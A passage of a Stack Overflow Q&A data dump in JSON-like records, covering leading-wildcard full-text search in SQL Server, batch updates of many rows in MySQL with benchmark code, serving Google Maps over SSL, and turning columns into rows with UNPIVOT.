Wildcard Searches</a>.</p>\n\n<p>Note the passage that states: \"However, if you specify “<em>Chain” or “Ch</em>ain”, you will not get the expected result. The asterisk will be considered as a normal punctuation mark not a wildcard character. \"</p>\n" }, { "answer_id": 51138309, "author": "Hans", "author_id": 9989507, "author_profile": "https://Stackoverflow.com/users/9989507", "pm_score": 0, "selected": false, "text": "<p>If you have access to the list of words of the full text search engine, you could do a 'like' search on this list and match the database with the words found, e.g. a table 'words' with following words:</p>\n\n<pre><code> pie\n applepie\n spies\n cherrypie\n dog\n cat\n</code></pre>\n\n<p>To match all words containing 'pie' in this database on a fts table 'full_text' with field 'text':</p>\n\n<pre><code> to-match &lt;- SELECT word FROM words WHERE word LIKE '%pie%'\n matcher = \"\"\n a = \"\"\n foreach(m, to-match) {\n matcher += a\n matcher += m\n a = \" OR \"\n }\n SELECT text FROM full_text WHERE text MATCH matcher\n</code></pre>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3400", "https://Stackoverflow.com", "https://Stackoverflow.com/users/35/" ]
**Note:** I *am* using SQL's Full-text search capabilities, CONTAINS clauses and all - the \* is the wildcard in full-text, % is for LIKE clauses only. I've read in several places now that "leading wildcard" searches (e.g. using "\*overflow" to match "stackoverflow") is not supported in MS SQL. I'm considering using a [CLR function to add regex matching](http://blogs.msdn.com/sqlclr/archive/2005/06/29/regex.aspx "SQL CLR Blog"), but I'm curious to see what other solutions people might have. **More Info**: [You can add the asterisk only at the end of the word or phrase.](http://msdn.microsoft.com/en-us/library/ms552152.aspx "MSDN") - along with my empirical experience: When matching "myvalue", "my\*" works, but "(asterisk)value" returns no match, when doing a query as simple as: ``` SELECT * FROM TABLENAME WHERE CONTAINS(TextColumn, '"*searchterm"'); ``` Thus, my need for a workaround. I'm only using search in my site on an actual search page - so it needs to work basically the same way that Google works (in the eyes on a Joe Sixpack-type user). Not nearly as complicated, but this sort of match really shouldn't fail.
Workaround only for leading wildcard: * store the text reversed in a different field (or in materialised view) * create a full text index on this column * find the reversed text with an \* ``` SELECT * FROM TABLENAME WHERE CONTAINS(TextColumnREV, '"mrethcraes*"'); ``` Of course there are many drawbacks, just for quick workaround... Not to mention CONTAINSTABLE...
3,432
<p>I know that you can insert multiple rows at once, is there a way to update multiple rows at once (as in, in one query) in MySQL?</p> <p>Edit: For example I have the following</p> <pre><code>Name id Col1 Col2 Row1 1 6 1 Row2 2 2 3 Row3 3 9 5 Row4 4 16 8 </code></pre> <p>I want to combine all the following Updates into one query</p> <pre><code>UPDATE table SET Col1 = 1 WHERE id = 1; UPDATE table SET Col1 = 2 WHERE id = 2; UPDATE table SET Col2 = 3 WHERE id = 3; UPDATE table SET Col1 = 10 WHERE id = 4; UPDATE table SET Col2 = 12 WHERE id = 4; </code></pre>
[ { "answer_id": 3439, "author": "UnkwnTech", "author_id": 115, "author_profile": "https://Stackoverflow.com/users/115", "pm_score": 3, "selected": false, "text": "<pre><code>UPDATE table1, table2 SET table1.col1='value', table2.col1='value' WHERE table1.col3='567' AND table2.col6='567'\n</code></pre>\n\n<p>This should work for ya.</p>\n\n<p>There is a reference in <a href=\"http://dev.mysql.com/doc/refman/5.0/en/update.html\" rel=\"noreferrer\">the MySQL manual</a> for multiple tables.</p>\n" }, { "answer_id": 3444, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": -1, "selected": false, "text": "<p>The following will update all rows in one table</p>\n\n<pre><code>Update Table Set\nColumn1 = 'New Value'\n</code></pre>\n\n<p>The next one will update all rows where the value of Column2 is more than 5</p>\n\n<pre><code>Update Table Set\nColumn1 = 'New Value'\nWhere\nColumn2 &gt; 5\n</code></pre>\n\n<p>There is all <a href=\"https://stackoverflow.com/questions/3432/multiple-updates-in-mysql#3439\">Unkwntech</a>'s example of updating more than one table</p>\n\n<pre><code>UPDATE table1, table2 SET\ntable1.col1 = 'value',\ntable2.col1 = 'value'\nWHERE\ntable1.col3 = '567'\nAND table2.col6='567'\n</code></pre>\n" }, { "answer_id": 3445, "author": "Shawn", "author_id": 26, "author_profile": "https://Stackoverflow.com/users/26", "pm_score": 2, "selected": false, "text": "<p>You may also be interested in using joins on updates, which is possible as well.</p>\n\n<pre><code>Update someTable Set someValue = 4 From someTable s Inner Join anotherTable a on s.id = a.id Where a.id = 4\n-- Only updates someValue in someTable who has a foreign key on anotherTable with a value of 4.\n</code></pre>\n\n<p>Edit: If the values you are updating aren't coming from somewhere else in the database, you'll need to issue multiple update queries.</p>\n" }, { "answer_id": 3449, "author": "UnkwnTech", "author_id": 115, "author_profile": "https://Stackoverflow.com/users/115", "pm_score": -1, "selected": false, "text": "<pre><code>UPDATE tableName SET col1='000' WHERE id='3' OR id='5'\n</code></pre>\n\n<p>This should achieve what you'r looking for. Just add more id's. I have tested it.</p>\n" }, { "answer_id": 3466, "author": "Michiel de Mare", "author_id": 136, "author_profile": "https://Stackoverflow.com/users/136", "pm_score": 10, "selected": true, "text": "<p>Yes, that's possible - you can use INSERT ... ON DUPLICATE KEY UPDATE.</p>\n\n<p>Using your example:</p>\n\n<pre><code>INSERT INTO table (id,Col1,Col2) VALUES (1,1,1),(2,2,3),(3,9,3),(4,10,12)\nON DUPLICATE KEY UPDATE Col1=VALUES(Col1),Col2=VALUES(Col2);\n</code></pre>\n" }, { "answer_id": 84111, "author": "Harrison Fisk", "author_id": 16111, "author_profile": "https://Stackoverflow.com/users/16111", "pm_score": 7, "selected": false, "text": "<p>Since you have dynamic values, you need to use an IF or CASE for the columns to be updated. It gets kinda ugly, but it should work.</p>\n\n<p>Using your example, you could do it like:</p>\n\n<pre>\nUPDATE table SET Col1 = CASE id \n WHEN 1 THEN 1 \n WHEN 2 THEN 2 \n WHEN 4 THEN 10 \n ELSE Col1 \n END, \n Col2 = CASE id \n WHEN 3 THEN 3 \n WHEN 4 THEN 12 \n ELSE Col2 \n END\n WHERE id IN (1, 2, 3, 4);\n</pre>\n" }, { "answer_id": 5213557, "author": "Brooks", "author_id": 126001, "author_profile": "https://Stackoverflow.com/users/126001", "pm_score": 2, "selected": false, "text": "<p>There is a setting you can alter called 'multi statement' that disables MySQL's 'safety mechanism' implemented to prevent (more than one) injection command. Typical to MySQL's 'brilliant' implementation, it also prevents user from doing efficient queries.</p>\n\n<p>Here (<a href=\"http://dev.mysql.com/doc/refman/5.1/en/mysql-set-server-option.html\" rel=\"nofollow\">http://dev.mysql.com/doc/refman/5.1/en/mysql-set-server-option.html</a>) is some info on the C implementation of the setting.</p>\n\n<p>If you're using PHP, you can use mysqli to do multi statements (I think php has shipped with mysqli for a while now)</p>\n\n<pre><code>$con = new mysqli('localhost','user1','password','my_database');\n$query = \"Update MyTable SET col1='some value' WHERE id=1 LIMIT 1;\";\n$query .= \"UPDATE MyTable SET col1='other value' WHERE id=2 LIMIT 1;\";\n//etc\n$con-&gt;multi_query($query);\n$con-&gt;close();\n</code></pre>\n\n<p>Hope that helps.</p>\n" }, { "answer_id": 5577503, "author": "Laymain", "author_id": 696291, "author_profile": "https://Stackoverflow.com/users/696291", "pm_score": 3, "selected": false, "text": "<p>Use a temporary table</p>\n<pre class=\"lang-php prettyprint-override\"><code>// Reorder items\nfunction update_items_tempdb(&amp;$items)\n{\n shuffle($items);\n $table_name = uniqid('tmp_test_');\n $sql = &quot;CREATE TEMPORARY TABLE `$table_name` (&quot;\n .&quot; `id` int(10) unsigned NOT NULL AUTO_INCREMENT&quot;\n .&quot;, `position` int(10) unsigned NOT NULL&quot;\n .&quot;, PRIMARY KEY (`id`)&quot;\n .&quot;) ENGINE = MEMORY&quot;;\n query($sql);\n $i = 0;\n $sql = '';\n foreach ($items as &amp;$item)\n {\n $item-&gt;position = $i++;\n $sql .= ($sql ? ', ' : '').&quot;({$item-&gt;id}, {$item-&gt;position})&quot;;\n }\n if ($sql)\n {\n query(&quot;INSERT INTO `$table_name` (id, position) VALUES $sql&quot;);\n $sql = &quot;UPDATE `test`, `$table_name` SET `test`.position = `$table_name`.position&quot;\n .&quot; WHERE `$table_name`.id = `test`.id&quot;;\n query($sql);\n }\n query(&quot;DROP TABLE `$table_name`&quot;);\n}\n</code></pre>\n" }, { "answer_id": 14128210, "author": "eggmatters", "author_id": 1010444, "author_profile": "https://Stackoverflow.com/users/1010444", "pm_score": 2, "selected": false, "text": "<p>You can alias the same table to give you the id's you want to insert by (if you are doing a row-by-row update:</p>\n\n<pre><code>UPDATE table1 tab1, table1 tab2 -- alias references the same table\nSET \ncol1 = 1\n,col2 = 2\n. . . \nWHERE \ntab1.id = tab2.id;\n</code></pre>\n\n<p>Additionally, It should seem obvious that you can also update from other tables as well. In this case, the update doubles as a \"SELECT\" statement, giving you the data from the table you are specifying. You are explicitly stating in your query the update values so, the second table is unaffected.</p>\n" }, { "answer_id": 17284265, "author": "Roman Imankulov", "author_id": 848010, "author_profile": "https://Stackoverflow.com/users/848010", "pm_score": 7, "selected": false, "text": "<p>The question is old, yet I'd like to extend the topic with another answer.</p>\n\n<p>My point is, the easiest way to achieve it is just to wrap multiple queries with a transaction. The accepted answer <code>INSERT ... ON DUPLICATE KEY UPDATE</code> is a nice hack, but one should be aware of its drawbacks and limitations:</p>\n\n<ul>\n<li>As being said, if you happen to launch the query with rows whose primary keys don't exist in the table, the query inserts new \"half-baked\" records. Probably it's not what you want</li>\n<li>If you have a table with a not null field without default value and don't want to touch this field in the query, you'll get <code>\"Field 'fieldname' doesn't have a default value\"</code> MySQL warning even if you don't insert a single row at all. It will get you into trouble, if you decide to be strict and turn mysql warnings into runtime exceptions in your app.</li>\n</ul>\n\n<p>I made some performance tests for three of suggested variants, including the <code>INSERT ... ON DUPLICATE KEY UPDATE</code> variant, a variant with \"case / when / then\" clause and a naive approach with transaction. You may get the python code and results <a href=\"https://gist.github.com/imankulov/5849790\" rel=\"noreferrer\">here</a>. The overall conclusion is that the variant with case statement turns out to be twice as fast as two other variants, but it's quite hard to write correct and injection-safe code for it, so I personally stick to the simplest approach: using transactions.</p>\n\n<p><strong>Edit:</strong> Findings of <a href=\"https://stackoverflow.com/users/698632/dakusan\">Dakusan</a> prove that my performance estimations are not quite valid. Please see <a href=\"https://stackoverflow.com/a/39831043/848010\">this answer</a> for another, more elaborate research.</p>\n" }, { "answer_id": 18492422, "author": "user2082581", "author_id": 2082581, "author_profile": "https://Stackoverflow.com/users/2082581", "pm_score": -1, "selected": false, "text": "<pre><code>UPDATE `your_table` SET \n\n`something` = IF(`id`=\"1\",\"new_value1\",`something`), `smth2` = IF(`id`=\"1\", \"nv1\",`smth2`),\n`something` = IF(`id`=\"2\",\"new_value2\",`something`), `smth2` = IF(`id`=\"2\", \"nv2\",`smth2`),\n`something` = IF(`id`=\"4\",\"new_value3\",`something`), `smth2` = IF(`id`=\"4\", \"nv3\",`smth2`),\n`something` = IF(`id`=\"6\",\"new_value4\",`something`), `smth2` = IF(`id`=\"6\", \"nv4\",`smth2`),\n`something` = IF(`id`=\"3\",\"new_value5\",`something`), `smth2` = IF(`id`=\"3\", \"nv5\",`smth2`),\n`something` = IF(`id`=\"5\",\"new_value6\",`something`), `smth2` = IF(`id`=\"5\", \"nv6\",`smth2`) \n</code></pre>\n\n<p>// You just building it in php like</p>\n\n<pre><code>$q = 'UPDATE `your_table` SET ';\n\nforeach($data as $dat){\n\n $q .= '\n\n `something` = IF(`id`=\"'.$dat-&gt;id.'\",\"'.$dat-&gt;value.'\",`something`), \n `smth2` = IF(`id`=\"'.$dat-&gt;id.'\", \"'.$dat-&gt;value2.'\",`smth2`),';\n\n}\n\n$q = substr($q,0,-1);\n</code></pre>\n\n<p>So you can update hole table with one query</p>\n" }, { "answer_id": 19033152, "author": "newtover", "author_id": 68998, "author_profile": "https://Stackoverflow.com/users/68998", "pm_score": 6, "selected": false, "text": "<p>Not sure why another useful option is not yet mentioned:</p>\n\n<pre><code>UPDATE my_table m\nJOIN (\n SELECT 1 as id, 10 as _col1, 20 as _col2\n UNION ALL\n SELECT 2, 5, 10\n UNION ALL\n SELECT 3, 15, 30\n) vals ON m.id = vals.id\nSET col1 = _col1, col2 = _col2;\n</code></pre>\n" }, { "answer_id": 25217509, "author": "sara191186", "author_id": 2144822, "author_profile": "https://Stackoverflow.com/users/2144822", "pm_score": 0, "selected": false, "text": "<p>Yes ..it is possible using INSERT ON DUPLICATE KEY UPDATE sql statement..\nsyntax:\nINSERT INTO table_name (a,b,c) VALUES (1,2,3),(4,5,6)\n ON DUPLICATE KEY UPDATE a=VALUES(a),b=VALUES(b),c=VALUES(c)</p>\n" }, { "answer_id": 36017552, "author": "Justin Levene", "author_id": 1938802, "author_profile": "https://Stackoverflow.com/users/1938802", "pm_score": 0, "selected": false, "text": "<p>use</p>\n\n<pre><code>REPLACE INTO`table` VALUES (`id`,`col1`,`col2`) VALUES\n(1,6,1),(2,2,3),(3,9,5),(4,16,8);\n</code></pre>\n\n<p>Please note:</p>\n\n<ul>\n<li>id has to be a primary unique key </li>\n<li>if you use foreign keys to\nreference the table, REPLACE deletes then inserts, so this might\ncause an error</li>\n</ul>\n" }, { "answer_id": 39831043, "author": "Dakusan", "author_id": 698632, "author_profile": "https://Stackoverflow.com/users/698632", "pm_score": 6, "selected": false, "text": "<p>All of the following applies to InnoDB.</p>\n<p>I feel knowing the speeds of the 3 different methods is important.</p>\n<p>There are 3 methods:</p>\n<ol>\n<li>INSERT: INSERT with ON DUPLICATE KEY UPDATE</li>\n<li>TRANSACTION: Where you do an update for each record within a transaction</li>\n<li>CASE: In which you a case/when for each different record within an UPDATE</li>\n</ol>\n<p>I just tested this, and the INSERT method was <strong>6.7x</strong> faster for me than the TRANSACTION method. I tried on a set of both 3,000 and 30,000 rows.</p>\n<p>The TRANSACTION method still has to run each individually query, which takes time, though it batches the results in memory, or something, while executing. The TRANSACTION method is also pretty expensive in both replication and query logs.</p>\n<p>Even worse, the CASE method was <strong>41.1x</strong> slower than the INSERT method w/ 30,000 records (6.1x slower than TRANSACTION). And <strong>75x</strong> slower in MyISAM. INSERT and CASE methods broke even at ~1,000 records. Even at 100 records, the CASE method is BARELY faster.</p>\n<p>So in general, I feel the INSERT method is both best and easiest to use. The queries are smaller and easier to read and only take up 1 query of action. This applies to both InnoDB and MyISAM.</p>\n<p><strong>Bonus stuff:</strong></p>\n<p>The solution for the INSERT non-default-field problem is to temporarily turn off the relevant SQL modes: <code>SET SESSION sql_mode=REPLACE(REPLACE(@@SESSION.sql_mode,&quot;STRICT_TRANS_TABLES&quot;,&quot;&quot;),&quot;STRICT_ALL_TABLES&quot;,&quot;&quot;)</code>. Make sure to save the <code>sql_mode</code> first if you plan on reverting it.</p>\n<p>As for other comments I've seen that say the auto_increment goes up using the INSERT method, this does seem to be the case in InnoDB, but not MyISAM.</p>\n<p>Code to run the tests is as follows. It also outputs .SQL files to remove php interpreter overhead</p>\n<pre class=\"lang-php prettyprint-override\"><code>&lt;?php\n//Variables\n$NumRows=30000;\n\n//These 2 functions need to be filled in\nfunction InitSQL()\n{\n\n}\nfunction RunSQLQuery($Q)\n{\n\n}\n\n//Run the 3 tests\nInitSQL();\nfor($i=0;$i&lt;3;$i++)\n RunTest($i, $NumRows);\n\nfunction RunTest($TestNum, $NumRows)\n{\n $TheQueries=Array();\n $DoQuery=function($Query) use (&amp;$TheQueries)\n {\n RunSQLQuery($Query);\n $TheQueries[]=$Query;\n };\n\n $TableName='Test';\n $DoQuery('DROP TABLE IF EXISTS '.$TableName);\n $DoQuery('CREATE TABLE '.$TableName.' (i1 int NOT NULL AUTO_INCREMENT, i2 int NOT NULL, primary key (i1)) ENGINE=InnoDB');\n $DoQuery('INSERT INTO '.$TableName.' (i2) VALUES ('.implode('), (', range(2, $NumRows+1)).')');\n\n if($TestNum==0)\n {\n $TestName='Transaction';\n $Start=microtime(true);\n $DoQuery('START TRANSACTION');\n for($i=1;$i&lt;=$NumRows;$i++)\n $DoQuery('UPDATE '.$TableName.' SET i2='.(($i+5)*1000).' WHERE i1='.$i);\n $DoQuery('COMMIT');\n }\n \n if($TestNum==1)\n {\n $TestName='Insert';\n $Query=Array();\n for($i=1;$i&lt;=$NumRows;$i++)\n $Query[]=sprintf(&quot;(%d,%d)&quot;, $i, (($i+5)*1000));\n $Start=microtime(true);\n $DoQuery('INSERT INTO '.$TableName.' VALUES '.implode(', ', $Query).' ON DUPLICATE KEY UPDATE i2=VALUES(i2)');\n }\n \n if($TestNum==2)\n {\n $TestName='Case';\n $Query=Array();\n for($i=1;$i&lt;=$NumRows;$i++)\n $Query[]=sprintf('WHEN %d THEN %d', $i, (($i+5)*1000));\n $Start=microtime(true);\n $DoQuery(&quot;UPDATE $TableName SET i2=CASE i1\\n&quot;.implode(&quot;\\n&quot;, $Query).&quot;\\nEND\\nWHERE i1 IN (&quot;.implode(',', range(1, $NumRows)).')');\n }\n \n print &quot;$TestName: &quot;.(microtime(true)-$Start).&quot;&lt;br&gt;\\n&quot;;\n\n file_put_contents(&quot;./$TestName.sql&quot;, implode(&quot;;\\n&quot;, $TheQueries).';');\n}\n</code></pre>\n" }, { "answer_id": 44931466, "author": "mononoke", "author_id": 6088837, "author_profile": "https://Stackoverflow.com/users/6088837", "pm_score": 3, "selected": false, "text": "<p>Why does no one mention <strong>multiple statements in one query</strong>?</p>\n\n<p>In php, you use <code>multi_query</code> method of mysqli instance.</p>\n\n<p>From the <a href=\"http://php.net/manual/en/mysqli.quickstart.multiple-statement.php\" rel=\"noreferrer\">php manual</a></p>\n\n<blockquote>\n <p>MySQL optionally allows having multiple statements in one statement string. Sending multiple statements at once reduces client-server round trips but requires special handling.</p>\n</blockquote>\n\n<p>Here is the result comparing to other 3 methods in update 30,000 raw. Code can be found <a href=\"https://github.com/yanxurui/keepcoding/blob/master/php/mysql/multiple_update.php\" rel=\"noreferrer\">here</a> which is based on answer from @Dakusan </p>\n\n<p><strong>Transaction: 5.5194580554962<br>\nInsert: 0.20669293403625<br>\nCase: 16.474853992462<br>\nMulti: 0.0412278175354<br></strong></p>\n\n<p>As you can see, multiple statements query is more efficient than the highest answer.</p>\n\n<p>If you get error message like this:</p>\n\n<pre><code>PHP Warning: Error while sending SET_OPTION packet\n</code></pre>\n\n<p>You may need to increase the <code>max_allowed_packet</code> in mysql config file which in my machine is <code>/etc/mysql/my.cnf</code> and then restart mysqld.</p>\n" }, { "answer_id": 61643990, "author": "Stan Sokolov", "author_id": 1610778, "author_profile": "https://Stackoverflow.com/users/1610778", "pm_score": 1, "selected": false, "text": "<p>And now the easy way</p>\n<pre><code>update my_table m, -- let create a temp table with populated values\n (select 1 as id, 20 as value union -- this part will be generated\n select 2 as id, 30 as value union -- using a backend code\n -- for loop \n select N as id, X as value\n ) t\nset m.value = t.value where t.id=m.id -- now update by join - quick\n</code></pre>\n" }, { "answer_id": 65950733, "author": "Liam", "author_id": 3714181, "author_profile": "https://Stackoverflow.com/users/3714181", "pm_score": 0, "selected": false, "text": "<p>I took the answer from @newtover and extended it using the new json_table function in MySql 8. This allows you to create a stored procedure to handle the workload rather than building your own SQL text in code:</p>\n<pre><code>drop table if exists `test`;\ncreate table `test` (\n `Id` int,\n `Number` int,\n PRIMARY KEY (`Id`)\n);\ninsert into test (Id, Number) values (1, 1), (2, 2);\n\nDROP procedure IF EXISTS `Test`;\nDELIMITER $$\nCREATE PROCEDURE `Test`(\n p_json json\n)\nBEGIN\n update test s\n join json_table(p_json, '$[*]' columns(`id` int path '$.id', `number` int path '$.number')) v \n on s.Id=v.id set s.Number=v.number;\nEND$$\nDELIMITER ;\n\ncall `Test`('[{&quot;id&quot;: 1, &quot;number&quot;: 10}, {&quot;id&quot;: 2, &quot;number&quot;: 20}]');\nselect * from test;\n\ndrop table if exists `test`;\n</code></pre>\n<p>It's a few ms slower than pure SQL but I'm happy to take the hit rather than generate the sql text in code. Not sure how performant it is with huge recordsets (the JSON object has a max size of 1Gb) but I use it all the time when updating 10k rows at a time.</p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3432", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1384652/" ]
I know that you can insert multiple rows at once, is there a way to update multiple rows at once (as in, in one query) in MySQL? Edit: For example I have the following ``` Name id Col1 Col2 Row1 1 6 1 Row2 2 2 3 Row3 3 9 5 Row4 4 16 8 ``` I want to combine all the following Updates into one query ``` UPDATE table SET Col1 = 1 WHERE id = 1; UPDATE table SET Col1 = 2 WHERE id = 2; UPDATE table SET Col2 = 3 WHERE id = 3; UPDATE table SET Col1 = 10 WHERE id = 4; UPDATE table SET Col2 = 12 WHERE id = 4; ```
Yes, that's possible - you can use INSERT ... ON DUPLICATE KEY UPDATE. Using your example: ``` INSERT INTO table (id,Col1,Col2) VALUES (1,1,1),(2,2,3),(3,9,3),(4,10,12) ON DUPLICATE KEY UPDATE Col1=VALUES(Col1),Col2=VALUES(Col2); ```
3,437
<p>We recently discovered that the Google Maps API does not play nicely with SSL. Fair enough, but what are some options for overcoming this that others have used effectively?</p> <blockquote> <p><a href="http://code.google.com/support/bin/answer.py?answer=65301&amp;topic=10945" rel="noreferrer">Will the Maps API work over SSL (HTTPS)?</a></p> <p>At this time, the Maps API is not available over a secure (SSL) connection. If you are running the Maps API on a secure site, the browser may warn the user about non-secure objects on the screen.</p> </blockquote> <p>We have considered the following options</p> <ol> <li>Splitting the page so that credit card collection (the requirement for SSL) is not on the same page as the Google Map.</li> <li>Switching to another map provider, such as Virtual Earth. Rumor has it that they support SSL.</li> <li>Playing tricks with IFRAMEs. Sounds kludgy.</li> <li>Proxying the calls to Google. Sounds like a lot of overhead.</li> </ol> <p>Are there other options, or does anyone have insight into the options that we have considered?</p>
[ { "answer_id": 3476, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": 2, "selected": false, "text": "<p>I would go with your first solution. This allows the user to focus on entering their credit card details.</p>\n\n<p>You can then transfer them to another webpage which asks or provides them further information relating to the Google Map.</p>\n" }, { "answer_id": 3898, "author": "palmsey", "author_id": 521, "author_profile": "https://Stackoverflow.com/users/521", "pm_score": 3, "selected": false, "text": "<p>This seems like a buisness requirements/usability issue - do you have a good reason for putting the map on the credit card page? If so, maybe it's worth working through some technical problems.</p>\n\n<p>You might try using <a href=\"http://www.mapstraction.com/\" rel=\"noreferrer\">Mapstraction</a>, so you can switch to a provider that supports SSL, and switch back to Google if they support it in the future.</p>\n" }, { "answer_id": 20612, "author": "Gary", "author_id": 2330, "author_profile": "https://Stackoverflow.com/users/2330", "pm_score": 5, "selected": true, "text": "<p>I'd agree with the previous two answers that in this instance it may be better from a usability perspective to split the two functions into separate screens. You really want your users to be focussed on entering complete and accurate credit card information, and having a map on the same screen may be distracting.</p>\n\n<p>For the record though, Virtual Earth certainly does fully support SSL. To enable it you simple need to change the script reference from http:// to https:// and append &amp;s=1 to the URL, e.g.</p>\n\n<pre><code>&lt;script src=\"http://dev.virtualearth.net/mapcontrol/mapcontrol.ashx?v=6.1\" type=\"text/javascript\"&gt;&lt;/script&gt;\n</code></pre>\n\n<p>becomes</p>\n\n<pre><code>&lt;script src=\"https://dev.virtualearth.net/mapcontrol/mapcontrol.ashx?v=6.1&amp;s=1\" type=\"text/javascript\"&gt;&lt;/script&gt;\n</code></pre>\n" }, { "answer_id": 1500201, "author": "cope360", "author_id": 48044, "author_profile": "https://Stackoverflow.com/users/48044", "pm_score": 2, "selected": false, "text": "<p>If you are a <a href=\"http://www.google.com/enterprise/earthmaps/maps.html\" rel=\"nofollow noreferrer\">Google Maps API Premier</a> customer, then SSL is supported. We use this and it works well. </p>\n\n<p>Prior to Google making SSL available, we proxyed all the traffic and this worked acceptably. You lose the advantage of Google's CDN when you use this approach and you may get your IP banned since it will appear that you are generating a lot of traffic.</p>\n" }, { "answer_id": 5337403, "author": "Pasted", "author_id": 1308097, "author_profile": "https://Stackoverflow.com/users/1308097", "pm_score": 3, "selected": false, "text": "<p>Just to add to this</p>\n\n<p><a href=\"http://googlegeodevelopers.blogspot.com/2011/03/maps-apis-over-ssl-now-available-to-all.html\">http://googlegeodevelopers.blogspot.com/2011/03/maps-apis-over-ssl-now-available-to-all.html</a></p>\n\n<p>Haven't tried migrating my SSL maps (ended up using Bing maps api) back to Google yet but might well be on the cards.</p>\n" }, { "answer_id": 11800462, "author": "Bhupendra", "author_id": 1574777, "author_profile": "https://Stackoverflow.com/users/1574777", "pm_score": 1, "selected": false, "text": "<p>If you are getting SECURITY ALERT on IE 9 while displaying Google maps, use</p>\n\n<pre><code>&lt;script src=\"https://maps.google.com/maps?file=api&amp;v=2&amp;hl=en&amp;tab=wl&amp;z=6&amp;sensor=true&amp;key=&lt;?php echo $key;?&gt;\n\" type=\"text/javascript\"&gt;&lt;/script&gt;\n</code></pre>\n\n<p>instead of</p>\n\n<pre><code>&lt;script src=\"https://maps.googleapis.com/maps/api/js?key=YOUR_API_KEY&amp;sensor=SET_TO_TRUE_OR_FALSE\"\n type=\"text/javascript\"&gt;&lt;/script&gt;\n</code></pre>\n" }, { "answer_id": 44341756, "author": "Panayiotis Hiripis", "author_id": 3342967, "author_profile": "https://Stackoverflow.com/users/3342967", "pm_score": 0, "selected": false, "text": "<p>I 've just removed the http protocol and it worked!</p>\n\n<p>From this:</p>\n\n<pre><code>&lt;script src=\"http://maps.google.com/maps/api/js?sensor=true\" type=\"text/javascript\"&gt;&lt;/script&gt;\n</code></pre>\n\n<p>To this:</p>\n\n<pre><code>&lt;script src=\"//maps.google.com/maps/api/js?sensor=true\" type=\"text/javascript\"&gt;&lt;/script&gt;\n</code></pre>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3437", "https://Stackoverflow.com", "https://Stackoverflow.com/users/308/" ]
We recently discovered that the Google Maps API does not play nicely with SSL. Fair enough, but what are some options for overcoming this that others have used effectively? > > [Will the Maps API work over SSL (HTTPS)?](http://code.google.com/support/bin/answer.py?answer=65301&topic=10945) > > > At this time, the Maps API is not > available over a secure (SSL) > connection. If you are running the > Maps API on a secure site, the browser > may warn the user about non-secure > objects on the screen. > > > We have considered the following options 1. Splitting the page so that credit card collection (the requirement for SSL) is not on the same page as the Google Map. 2. Switching to another map provider, such as Virtual Earth. Rumor has it that they support SSL. 3. Playing tricks with IFRAMEs. Sounds kludgy. 4. Proxying the calls to Google. Sounds like a lot of overhead. Are there other options, or does anyone have insight into the options that we have considered?
I'd agree with the previous two answers that in this instance it may be better from a usability perspective to split the two functions into separate screens. You really want your users to be focussed on entering complete and accurate credit card information, and having a map on the same screen may be distracting. For the record though, Virtual Earth certainly does fully support SSL. To enable it you simple need to change the script reference from http:// to https:// and append &s=1 to the URL, e.g. ``` <script src="http://dev.virtualearth.net/mapcontrol/mapcontrol.ashx?v=6.1" type="text/javascript"></script> ``` becomes ``` <script src="https://dev.virtualearth.net/mapcontrol/mapcontrol.ashx?v=6.1&s=1" type="text/javascript"></script> ```
3,470
<p>I have a very simple problem which requires a very quick and simple solution in SQL Server 2005.</p> <p>I have a table with x Columns. I want to be able to select one row from the table and then transform the columns into rows.</p> <pre><code>TableA Column1, Column2, Column3 </code></pre> <p>SQL Statement to ruturn</p> <pre><code>ResultA Value of Column1 Value of Column2 Value of Column3 </code></pre> <hr> <p><strong>@Kevin:</strong> I've had a google search on the topic but alot of the example where overly complex for my example, <strong>are you able to help further?</strong></p> <p>@Mario: The solution I am creating has 10 columns which stores the values 0 to 6 and I must work out how many columns have the value 3 or more. So I thought about creating a query to turn that into rows and then using the generated table in a subquery to say count the number of rows with Column >= 3</p>
[ { "answer_id": 3473, "author": "Kev", "author_id": 419, "author_profile": "https://Stackoverflow.com/users/419", "pm_score": 4, "selected": true, "text": "<p>You should take a look at the UNPIVOT clause.</p>\n\n<p><strong>Update1</strong>: GateKiller, strangely enough I read an article (about something unrelated) about it this morning and I'm trying to jog my memory where I saw it again, had some decent looking examples too. It'll come back to me I'm sure.</p>\n\n<p><strong>Update2</strong>: Found it: <a href=\"http://weblogs.sqlteam.com/jeffs/archive/2008/04/23/unpivot.aspx\" rel=\"nofollow noreferrer\">http://weblogs.sqlteam.com/jeffs/archive/2008/04/23/unpivot.aspx</a></p>\n" }, { "answer_id": 3475, "author": "Michael Stum", "author_id": 91, "author_profile": "https://Stackoverflow.com/users/91", "pm_score": 0, "selected": false, "text": "<p><a href=\"http://msdn.microsoft.com/en-us/library/ms180026.aspx\" rel=\"nofollow noreferrer\">UNION</a> should be your friend:</p>\n\n<pre><code>SELECT Column1 FROM table WHERE idColumn = 1\nUNION ALL\nSELECT Column2 FROM table WHERE idColumn = 1\nUNION ALL\nSELECT Column3 FROM table WHERE idColumn = 1\n</code></pre>\n\n<p>but it can <a href=\"http://blog.falafel.com/2006/01/20/TSQLTipAvoidUNION.aspx\" rel=\"nofollow noreferrer\">also be your foe</a> on large result sets.</p>\n" }, { "answer_id": 3478, "author": "Joseph Daigle", "author_id": 507, "author_profile": "https://Stackoverflow.com/users/507", "pm_score": 0, "selected": false, "text": "<p>If you have a fixed set of columns and you know what they are, you can basically do a series of subselects </p>\n\n<p><code>(SELECT Column1 AS ResultA FROM TableA) as R1</code> </p>\n\n<p>and join the subselects. All this in a single query.</p>\n" }, { "answer_id": 3513, "author": "Mat", "author_id": 48, "author_profile": "https://Stackoverflow.com/users/48", "pm_score": 0, "selected": false, "text": "<p>I'm not sure of the SQL Server syntax for this but in MySQL I would do</p>\n\n<pre><code>SELECT IDColumn, ( IF( Column1 &gt;= 3, 1, 0 ) + IF( Column2 &gt;= 3, 1, 0 ) + IF( Column3 &gt;= 3, 1, 0 ) + ... [snip ] )\n AS NumberOfColumnsGreaterThanThree\nFROM TableA;\n</code></pre>\n\n<p>EDIT: A very (very) brief Google search tells me that the <code>CASE</code> statement does what I am doing with the <code>IF</code> statement in MySQL. You may or may not get use out of <a 